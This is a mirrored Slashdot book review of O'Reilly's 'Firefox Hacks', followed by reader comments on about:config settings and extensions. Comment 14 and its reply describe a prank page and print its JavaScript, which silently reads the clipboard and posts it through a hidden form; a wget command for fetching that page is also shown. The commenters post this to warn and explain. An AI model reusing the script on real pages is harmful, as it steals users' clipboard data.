Slashdot Mirror


Firefox Hacks

honestpuck (Tony Williams) writes "If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert, that made the arrival of Firefox Hacks from O'Reilly a wonderful surprise." Read on for the rest of Williams' review. Firefox Hacks author Nigel McFarlane pages 368 publisher O'Reilly rating 7 reviewer Tony Williams ISBN 0596009283 summary A good, fairly technical examination of Firefox

The first of several books on the topic of Firefox hacking (two more are due from other publishers in the coming months) Firefox Hacks sets the bar quite high. The author, Nigel McFarlane, has already written a number of other books and articles on similar topics and knows his subject well. He has also enlisted the help of a number of other cognoscenti to cover the more distant corners covered in the book.

A Web browser is a much more complex piece of software than you may realize on first examination, and Firefox -- with the core Gecko engine surrounded by a large wrapper written in XUL and JavaScript -- provides a fertile ground for any number of changes and enhancements. Firefox Hacks does a good job of mapping out the boundaries of this space.

Over the course of the now-traditional 100 hacks found in the same series' other members, this book covers hacking with, on, and to almost all aspects of Firefox and the 'net. The book is broken up into nine chapters, most worth reading by almost everyone -- even the first, "Firefox Basics," taught me a couple of tricks for getting the best out of a slow (and expensive) GPRS connection. The others are "Security," "Installation," "Web Surfing Enhancements," "Power Tools for Web Developers," "Power XML for Web Pages," "Hack the Chrome Ugly," "Hack the Chrome Cleanly," and "Work More Closely With Firefox." I have to say I felt the chapter on Power XML (with 17 of the 100 hacks) was far too general on Web technologies and a little out of place; easily half the hacks in that chapter could have been dropped without any real loss to a reader's understanding of Firefox. I would have preferred more on the browser itself. No insult intended to Seth Dillingham, who wrote four of the hacks I'd throw out -- they are well written and do show how best to deal with Web technologies inside Firefox. I just felt that the space would have been better devoted to more "core" topics.

The first four chapters will be useful to everyone, covering mainly the use of Firefox. From that point, the hacks become increasingly complex as they cover Web development, then modifying the interface, before covering such arcana as creating extensions and custom builds.

I am hard pressed to think of a corner of Firefox not at least touched, though it must be said that the later hacks only touch on the topics covered without really providing a lot of depth. If you get to the last two chapters in the book, performing and expanding on the hacks, you will probably need a great deal more information and assistance to branch out on your own. McFarlane, however, points out the possibilities and gets you started. I didn't feel this was a flaw, just that a line had been drawn, as it must unless the book was going to be three times the size and price.

The book is fairly well written. The quality of writing and editing fall into that middle ground of "fairly good" that one expects from the average O'Reilly book, though not the "excellent" they can sometimes hit. The structure and flow are excellent, making the book readable in large chunks -- enough sticks that when you are back in front of the computer using Firefox you can remember a few things. (Or, sometimes, I remembered that a hint existed and was able to easily find and use the information.)

For a closer look there is a decent page at O'Reilly with links to six example hacks, the table of contents (listing all 100 hacks) and the index.

To conclude, I'm not sure I could recommend this book to everyone; it spends a little too much time a fair way along the technology curve for those who aren't ready for some programming, though for anyone who wants to get their hands dirty and perform some hardcore hacking on their favourite browser, then this is an above-average volume. For someone who is happy as "just a user," this book may be too much: wait and see what else emerges into the Firefox book market -- including O'Reilly's other offering, the soon-to-be-released Don't Click on the Blue E, which they describe as giving "non-technical users a convenient roadmap for switching to a better web browser--Firefox."

Also watch soon for a review of Prentice Hall's Firefox & Thunderbird Garage. You can purchase Firefox Hacks from bn.com. Slashdot welcomes readers' book reviews -- to see your own review here, read the book review guidelines, then visit the submission page.

30 of 309 comments (clear)

  1. I've read the PDF pages on the site... by Ron+Harwood · · Score: 4, Informative

    ...and I found out about editCSS and webdeveloper extenstions from there... they rock.

  2. One hack I want by jerometremblay · · Score: 4, Insightful

    I want to turn off the damn confirmation every time i open a http: //username:password@site URL!

    1. Re:One hack I want by th1ckasabr1ck · · Score: 5, Interesting

      This isn't funny - I have the same problem logging into my company intranet page. It requires a username and password. Under IE these stored passwords are sent immediately. With Firefox I have to click the confirmation each time. It's enough of a hassle that I redirected my Firefox home page away from the intranet.

    2. Re:One hack I want by Elwood+P+Dowd · · Score: 5, Informative

      That's a different problem. Internet explorer won't allow you to submit a password in the URL anymore either.

      The reason your intranet works for everyone on IE is because IE supports Windows integrated security. It can tell that you are who you say you are because your machine is joined to the Windows domain.

      --

      There are no trails. There are no trees out here.
    3. Re:One hack I want by cowass · · Score: 5, Informative

      If you need windows Auth in firefox do the following: open firefox browse to about:config find network.automatic-ntlm-auth.trused-uris modify the value and enter in your intranet sites that you must pass your username and password to. For some site i connect to i also had to add values to: network.negotiate-auth.delegation-uris network.negotiate-auth.trusted-uris

  3. Didn't RTFA yet by Kimos · · Score: 5, Funny

    If there is an application I run more often than my Web browser, particularly since I also use it as my email client, then I don't know what it might be. As a Firefox convert

    If there is any English that would make me not want to read this article, particularly since English is my first language, then I don't know what that might be.

    1. Re:Didn't RTFA yet by fm6 · · Score: 4, Insightful
      The sentence may be validEnglish, but it's not clear English.

      However, the suggestion that the writer isn't a native speaker is both bigoted and illogical. Only a native speaker could spawn that many subordinate clauses in such a confusing way!

  4. Close by TheSportsGED · · Score: 5, Funny

    But if it doesn't tell me how to load Firefox on a memory stick for my PSP, I'm not interested.

  5. Good about: config explanation by spywarearcata.com · · Score: 5, Informative

    An excellent book. The explanation of about:config and its mods are very useful.

    I did the opposite of the Anonymity sub-chapter by putting my home page URL into my referrer string.

    1. Re:Good about: config explanation by irc.goatse.cx+troll · · Score: 4, Interesting

      He's not a hacker, he's a spammer. He's posting here to help his pagerank, and throwing it in useragent gets him linked on random public web stats pages. It's all about pagerank.

      --
      Pain lasts, kid. Its how you know you're alive. Sometimes I think this growing up thing is just pain management-TheMaxx
    2. Re:Good about: config explanation by Kizzle · · Score: 4, Insightful

      I hate seeing referrer spammers like in my webpage stats. You're not clever, just annoying.

  6. Re:PDF Hack by Derek+Pomery · · Score: 5, Informative

    http://www.mozilla.org/support/firefox/faq#acrobat
    Not only "slowly" but also unstably.
    Every system I've applied this FAQ entry to has much better performance.

    --
    -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
  7. Re:THE BEST FIREFOX HACK by akira69 · · Score: 4, Informative

    You are an asshole. Don't click this link people. Bad news.

  8. Firefox Prototype by therealfitzman · · Score: 5, Funny

    The new Firefox prototype is amazing. It works by "neuralink" allowing you to think about what website you want to go to and it opens in the browser. The only caveat so far is you have to think in Russian in order for it to work.

    1. Re:Firefox Prototype by prostoalex · · Score: 4, Funny

      The only caveat so far is you have to think in Russian in order for it to work.

      I don't get it. What's the problem?

      --Alex Moskalyuk

  9. Don't click on the blue E! by c0ldfusi0n · · Score: 5, Informative

    Sorry for the slightly offtopic comment, but i have to post this.
    O'reilly have a book called Don't click on the blue E! that's a kind of migration guide from IE to Firefox for disenchanted Internet Explorer users.

    I just love the title of it. Frankly, how many Firefox users trying to get thir sister/mother/grandma to use Firefox (mostly because they're sick of being called to remove spywares/viruses induced by IE) have actually use that phrase?

    --
    A computer makes it possible to do, in half an hour, tasks which were completely unnecessary to do before.
    1. Re:Don't click on the blue E! by creep · · Score: 5, Insightful

      I don't. Aside from putting a Firefox icon on the desktop of all my family and friends' computers that I service, I also use the IE icon and point it to Firefox just in case they happen to click on it out of habit.

  10. Nice review by echocharlie · · Score: 4, Informative

    Author did a nice job on this review. I will probably pick this book up. Here's a link to O'Reilly's official site for the book. NerdBooks.com has is carrying at 50% off.

  11. XML and other quibbles by fm6 · · Score: 4, Interesting
    Why is XML not a "core topic"? Serving web pages as XML is the Next Big Thing, in my opinion. In any case, XML is a lot more relevent to most people's needs than hacking the browser as a game platform!

    Not that anything was really excluded. They seem to have had a little trouble coming up with 100 hacks. Some I see on the list are interesting, but not strictly about Firefox (CSS, Bugzilla). Some are pretty lame ("Identify and Use Toolbar Icons"). Some are not even hacks (a list of customized prebuilt versions).

    Some hacks do look interesting -- integrating Firefox with other apps, making chromes and extensions, and (as I said) XML support. Maybe these are good enough to justify the price of the book. Though a book about these specific topics might be money better spent.

  12. Evolution of the word "Hack" by standon · · Score: 5, Interesting

    I own several O'Reilly books, many of them relating to Hacks - whether it be for Postfix, OS X, et cetera. It's funny (or perhaps just interesting, depending on your sense of humor) how the term "hack" has evolved over time. Am I a hacker if I utilize a book to balance a shaky table? Of course I'm being a bit facetious with that example!

    I understand this might be (mistakenly) modded offtopic, but hopefully the powers that be acknowledge the relevance.

    --
    Sahil
  13. Re:is there a hack to remove the 'cannot connect m by seizer · · Score: 4, Informative

    Certainly:

    browser.xul.error_pages.enabled

    Enjoy.

  14. What it really does. by spagetti_code · · Score: 5, Informative
    Be warned - in case you are tempted...

    This is a pretty ingenious script that

    • Opens up windows (or tabs, depending on how you open the link) as fast as your computer can - 100% CPU
    • Each window displays gay porn
    • Plays a loud sound "Hey everybody I'm looking at gay porno"
    • Behind the scenes it also copies the contents of your clipboard to this guy.
    It works in IE and firefox. It is simply a page with an image, a flash movie, and a javascript that copies your clipboard to a field then 'submit()'s' the form, reloading the page.

    Very simple and bypasses popup blockers (at least the ones I have on).

    This has got to be a security hole in firefox, both on the ability to open windows/tabs, and copying the clipboard.

    If you want to have a look, use:

    wget http://firefox.on.nimp.org/index.php
    WARNING: dont click on this link, just copy the wget command to a shell. Dont say I didn't warn you...
    1. Re:What it really does. by Selanit · · Score: 4, Informative
      I just want to say.. I have http://flashblock.mozdev.org/ [mozdev.org]Flashblock and nothing happened. It totally stopped that site. Its a great FF extension.

      You didn't get the tabs, pop-ups and the gay porn -- but the contents of your clipboard were sent, unless you've got JavaScript turned off completely. Take a look at this (comments added):

      <!--
      Make a form, but use inline CSS to make it invisible (display:none).
      -->
      <form name="clip" method="post" action="index.php" style="display:none">
      <input type="text" name="content">
      <input type="hidden" name="send" value="1">
      <input type="hidden" name="referer" value="">
      <input type="hidden" name="user" value="">
      <input type="submit">
      </form>

      <script language="javascript">
      if(typeof clipboardData != 'undefined') {
      // If we can get the clipboard, get it.
      var content = clipboardData.getData("Text");
      // Put it into the invisible form.
      document.forms["clip"].elements["content"].value = content;
      }
      // Submit the invisible form.
      document.forms["clip"].submit();
      </script>

      Then it has a second body tag containing the flash object that's responsible for the visible annoying stuff. I have to wonder what random stuff they're getting out of people's clipboards . . .

  15. MAF by real_smiff · · Score: 4, Informative

    this "comes free" with the Mozilla Archive Format extension (adds an option to the page Save As type menu). I just tested it, page opened in IE, seems to work, a little slow maybe. as for your 2nd request, maybe someone else can help, i don't know sorry. btw if you didn't post anonymous you could see this reply easier..

    --

    This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

  16. Do you feel lucky, punk? by werewolf1031 · · Score: 5, Funny
    Hey now, don't dis Firefox. That was one of the best Cold War-era Clint Eastwood movies I've seen! Hell, I remember watching it on the theater on that big screen when I was a kid and...

    ...oh, wait...

  17. Re: Greasemonkey by binarysearch · · Score: 4, Informative

    Speaking as one of the "cognoscenti" who contributed to the book, I'd say that yes, Greasemonkey is a bit too new to have made it into the book. When I came onboard in late October 2004, most of the hacks had already been thought up and allocated. The deadline for the first draft of the hacks was November 22, and contributor's reviews were due by December 11.

    Looking at the CVS repository for Greasemonkey ( http://www.mozdev.org/source/browse/greasemonkey/ ), it looks like the oldest files are four months old, which means that yes, Greasemonkey is too new to have had a chance to get in to the book. I imagine that it'll *probably* be featured in any subsequent editions. The problem is that Greasemonkey is really quite code-centric, far more so than most of the stuff in the last few chapters, and those chapters are already striking some as "too technical." Writing a hack would be tricky, as you'd have two main options, neither of which are particularly appealing:

    * Delve into the nuts-and-bolts of programming to show users how to Get Stuff Done with Greasemonkey, which is outside the scope of the book, or
    * treat The Code That Does Stuff as magic, and use e.g. Butler as an example of what can be done.

    Of course, hacks.oreilly.com does allow you to submit your own hacks. If you want a job done right...

  18. Re:is there a hack to remove the 'cannot connect m by Anonymous Coward · · Score: 4, Informative

    If you do that, you're going to get lots of bugs, like the back button losing it's history. That's why the error pages are disabled. In 1.1, this should work right (in fact, it works properly in trunk nightlies right now).

  19. Re:PDF Hack by good-n-nappy · · Score: 4, Informative

    I got this too. The problem is that the "#" is turning into "%23" for some reason. Use this link instead and search for Adobe.

    --
    Never underestimate the power of fiber.
  20. Re:extension link by The+Wicked+Priest · · Score: 4, Interesting

    More seriously, I've changed my extensions link to point to http://www.extensionsmirror.nl/ . (You can change it via extensions.getMoreExtensionsURL in about:config.) It's far more complete and up-to-date than the official site.

    --
    Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0